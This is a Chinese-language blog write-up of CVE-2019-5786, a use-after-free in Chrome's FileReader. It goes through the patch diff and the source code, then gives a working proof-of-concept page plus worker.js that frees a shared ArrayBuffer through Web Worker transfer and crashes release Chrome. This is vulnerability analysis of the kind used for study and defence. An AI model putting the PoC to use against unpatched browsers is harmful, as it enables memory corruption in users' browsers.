盒子
盒子
文章目录
  1. 前言:
  2. 分析:
    1. FileReader:
  3. POC:
  4. Patch:

CVE-2019-5786

前言:

一个在FileReader Web API上发现的UAF洞。

分析:

先看diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;

DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
if (finished_loading_) {
array_buffer_result_ = result;
AdjustReportedMemoryUsageToV8(
-1 * static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
if (!finished_loading_) {
return DOMArrayBuffer::Create(
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
}
return result;

array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
AdjustReportedMemoryUsageToV8(-1 *
static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
return array_buffer_result_;
}

String FileReaderLoader::StringResult() {

不同点就在于,result返回值有变化,原版本:

1
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

新版本:

1
return DOMArrayBuffer::Create(ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));

根据代码可以猜测该变化是在ArrayBuffer的分配上。所以我们往此方向分析即可。并且还有一个变化是对finished_loading_状态改变,这个暂时还不清楚作用是什么,先往后看看。

FileReader:

FileReader 对象允许Web应用程序异步读取存储在用户计算机上的文件(或原始数据缓冲区)的内容,使用 FileBlob对象指定要读取的文件或数据。

简单来说就是平时在网页上所看见的上传本地文件的一个Web API

它的属性:

FileReader.readyState (只读)

表示FileReader状态的数字。取值如下:

常量名 描述
EMPTY 0 还没有加载任何数据.
LOADING 1 数据正在被加载.
DONE 2 已完成全部的读取请求.

三种状态。

FileReader.result (只读):

文件的内容。该属性仅在读取操作完成后才有效,数据的格式取决于使用哪个方法来启动读取操作。

result表示从文件中读取的数据。

文件读取方法有这么四种:

  1. FileReader.readAsArrayBuffer()
  2. FileReader.readAsBinaryString()
  3. FileReader.readAsDataURL()
  4. FileReader.readAsText()

根据上面所看的diff变化是在ArrayBuffer上我们可以想到用的是第一种方式读取文件数据。

事件处理上还有这么几个:

  1. FileReader.onloadend(该事件在读取操作结束时(要么成功,要么失败)触发)
  2. FileReader.onprogress(该事件在读取数据时触发)

接下来就可以开始往代码入手来分析了。先从老版本开始入手。

1
DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

在网页版的chromium源代码上我们可以快速查看各个引用。

先找到DOMArrayBuffer::Create的具体函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
DOMArrayBuffer* DOMArrayBuffer::Create(
scoped_refptr<SharedBuffer> shared_buffer) {
WTF::ArrayBufferContents contents(shared_buffer->size(), 1,
WTF::ArrayBufferContents::kNotShared,
WTF::ArrayBufferContents::kDontInitialize);
uint8_t* data = static_cast<uint8_t*>(contents.Data());
if (UNLIKELY(!data))
OOM_CRASH();

for (const auto& span : *shared_buffer) {
memcpy(data, span.data(), span.size());
data += span.size();
}

scoped_refptr作为表示智能指针,一般用于引用计数。

此函数可以大致看出是拿来申请DOMArrayBuffer空间的一个函数,DOMArrayBufferArrayBuffer不同,前者有着自己的内存管理方式,也就是partationAlloc内存管理,主要用于Blink即渲染器上的内存分配问题。而且该内存管理有着明显的区域划分规则,不同类别的区域块是不能复用的,互不相干的。所以具有着较强的安全性。具体的就不多说。

再看看raw_data_的定义:

1
std::unique_ptr<ArrayBufferBuilder> raw_data_;

unique_ptr也是一个智能指针,不过是独占式。因为他是ArrayBufferBuilder的指针,所以在去查看ArrayBufferBuilder的定义:

1
2
3
4
5
6
7
8
9
10
scoped_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer() {
// Fully used. Return m_buffer as-is.
if (buffer_->ByteLength() == bytes_used_)
return buffer_;

return buffer_->Slice(0, bytes_used_);
}

unsigned bytes_used_;
scoped_refptr<ArrayBuffer> buffer_;

有了ToArrayBuffer函数就好分析了,看上面的代码,如果申请的大小和最先定义申请的ArrayBuffer空间大小相同,那么便直接返回该空间指针。如果不同,则从该ArrayBuffer中切一块,大小为申请的大小,再返回该空间指针。因为不管什么情况,指针指向的都为同一块空间。所以当两个不同的对象指向同一块内存空间的时候,就会引发UAF。所以我们再来看看新版本的改动的代码:

1
DOMArrayBuffer::Create(ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));

看一下ArrayBuffer::Create的定义:

1
2
3
4
5
6
7
8
9
10
scoped_refptr<ArrayBuffer> ArrayBuffer::Create(const void* source,
size_t byte_length) {
ArrayBufferContents contents(byte_length, 1, ArrayBufferContents::kNotShared,
ArrayBufferContents::kDontInitialize);
if (UNLIKELY(!contents.Data()))
OOM_CRASH();
scoped_refptr<ArrayBuffer> buffer = base::AdoptRef(new ArrayBuffer(contents));
memcpy(buffer->Data(), source, byte_length);
return buffer;
}

该函数可以看出是申请一块内存,把参数中的原数据复制到申请的内存块上,再返回指向该内存的一个指针。再看看该函数的参数定义:

1
2
3
const void* Data() const { return buffer_->Data(); }

unsigned ByteLength() const { return bytes_used_; }

所以这两个参数含义就是所申请空间上的数据以及数据长度的值。

所以我们可以区分出patch前后的区别:

旧版本是在读取文件数据时,读取的整个过程中返回的ArrayBuffer都是同一块。

新版本是在文件没有读取完时,返回的都是不同块。

现在再来看finished_loading_的定义,初始值为:

1
bool finished_loading_ = false;

在此函数中,它的值会变true

1
2
3
4
5
6
7
8
9
10
11
12
void FileReaderLoader::OnFinishLoading() {
if (read_type_ != kReadByClient && raw_data_) {
raw_data_->ShrinkToFit();
is_raw_data_converted_ = false;
}

finished_loading_ = true; //become true

Cleanup();
if (client_)
client_->DidFinishLoading();
}

在下面两个函数中,才会调用上面的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void FileReaderLoader::OnComplete(int32_t status, uint64_t data_length) {

............

if (data_length != total_bytes_) {
Failed(FileErrorCode::kNotReadableErr, FailureType::kReadSizesIncorrect);
return;
}

received_on_complete_ = true;
if (received_all_data_)
OnFinishLoading(); //tigger
}


void FileReaderLoader::OnDataPipeReadable(MojoResult result) {

............

consumer_handle_->EndReadData(num_bytes);
if (BytesLoaded() >= total_bytes_) {
received_all_data_ = true;
if (received_on_complete_)
OnFinishLoading(); //tigger
return;
}
}
}

received_all_data_为真时,执行OnFinishLoading,或者当received_on_complete_为真时。根据变量名我们可以猜测出,当接收完所有数据时,finished_loading_true。即读取文件数据读取完全时,为真。

所以当我们再来看旧版本代码时,一切都会变得很明了:

1
2
3
4
5
6
7
8
 DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());	
if (finished_loading_) {
array_buffer_result_ = result;
AdjustReportedMemoryUsageToV8(
-1 * static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
}
return result;

文件数据没有读取完全时和读取完后,返回的都是指向同一个ArrayBuffer-backing_store的指针。只不过大小不同。那么,这就有了两个不同的对象指向同一个内存空间的情况,可引发UAF

我们可以写一个样例来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function onprogress(e){
console.log(e.target.result);
}

function load_end(e){
console.log(e.target.result);
}

function main(){
var filereader = new FileReader();
var str = 'A';
str = str.repeat(100000000);
var file = new Blob([str]);
filereader.onload = load_end;
filereader.onprogress = onprogress;
filereader.readAsArrayBuffer(file);
}

main();

结果:

1564383007(1)

可以看见onprogress事件被触发多次。但是最终的ArrayBuffer大小两个事件得到的都一样,即两个不同的ArrayBuffer对象共用了同一块的backing_store空间。说明可以有机会构造出UAF

但是得到了两个指针后,该怎么利用又是一个问题。

因为JS中没有主动释放ArrayBuffer的函数,所以我们没有办法主动去释放其中一个指针。而且之前从代码中我们也可以看见,源代码中对buff使用的是智能指针,且用了引用计数的方式,来对buff进行智能的释放。

现在的情况是我们所得到的一块buff内存上有两个引用指针,即使释放了其中一个指针的引用,我们也还剩一个引用,根据引用计数的原则:当引用个数为0时,对象才会被回收。所以当我们释放一个指针时,也无法释放该内存,因此也无法产生UAF

那么我们该怎么做呢?

这里有两种方式释放内存。一种是利用Web Worker,一种是WebAudio

两种方式都是通过转移ArrayBuffer来释放底层的堆块,这种方式称作neuter

这里就介绍第一种:

Web Worker通过postMessageonmessage来发送接收消息。当发送出去的为ArrayBuffer时,就能够实现ArrayBuffer的转移,从而释放堆块。

postMessage

1
worker.postMessage(message, [transfer]);

message 表示要传递的数据。transfer是可转移对象,可转移对象是如ArrayBufferMessagePortImageBitmap的实例对象,可以以数组元素的方式放到第二个参数中,以提高传递效率,但是在第一个参数中需要指定一个引用,以方便目标线程接收。

这里有一个小例子:

1
2
3
4
5
var myWorker = new Worker('./worker.js');
var buff = new ArrayBuffer(0x100);
console.log(buff.byteLength);
myWorker.postMessage(buff,[buff]);
console.log(buff.byteLength);

结果:

1564384973(1)

可以看见该ArrayBuffer已经被转移了,已被释放。那么接下来就好构造poc了。

POC:

poc.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>
<html>
<head>
<title>v1nke</title>

<script type="text/javascript">

var pro_buff;
var load_buff;

function onprogress(e){
var buff = e.target.result;
if(pro_buff.byteLength != 10000000){
pro_buff = buff;
console.log(pro_buff);
}
//pro_buff = buff;
//console.log(pro_buff);
}

function load_end(e){
var buff = e.target.result;
load_buff = buff;
if(pro_buff != load_buff &&
pro_buff.byteLength == load_buff.byteLength){
console.log('success!');
poc();
}
else{
console.log('same buff');
main();
}
}

function poc(){
var worker = new Worker('./worker.js');
var dataview1 = new DataView(pro_buff);
var dataview2 = new DataView(load_buff);

dataview1.setUint32(0,0x41414141);

worker.postMessage(pro_buff,[pro_buff]);
console.log(load_buff);
console.log(dataview2.getUint32(0));
worker.postMessage(load_buff,[load_buff]);
}

function main(){
var filereader = new FileReader();

pro_buff = load_buff = new ArrayBuffer(0);

var input_str = "A";
input_str = input_str.repeat(10000000);
var file = new Blob([input_str]);

filereader.onprogress = onprogress;
filereader.onloadend = load_end;
filereader.readAsArrayBuffer(file);
}

main();

</script>
</head>
</html>

worker.js

1
2
onmessage = function(e){
}

效果:

1564385749(1)

如果运行在发行版本的Chrome上,那么会直接crash

Patch:

此时再回过头来看补丁:

1
2
3
4
5
6
7
8
9
10
11
  if (!finished_loading_) {
return DOMArrayBuffer::Create(
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
}

array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
AdjustReportedMemoryUsageToV8(-1 *
static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
return array_buffer_result_;
}

加上了在没有读取完全文件数据时,返回的是读取文件的副本ArrayBuffer内存空间,因此不会产生共用同一块内存空间的情况,也就预防了UAF的产生。

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫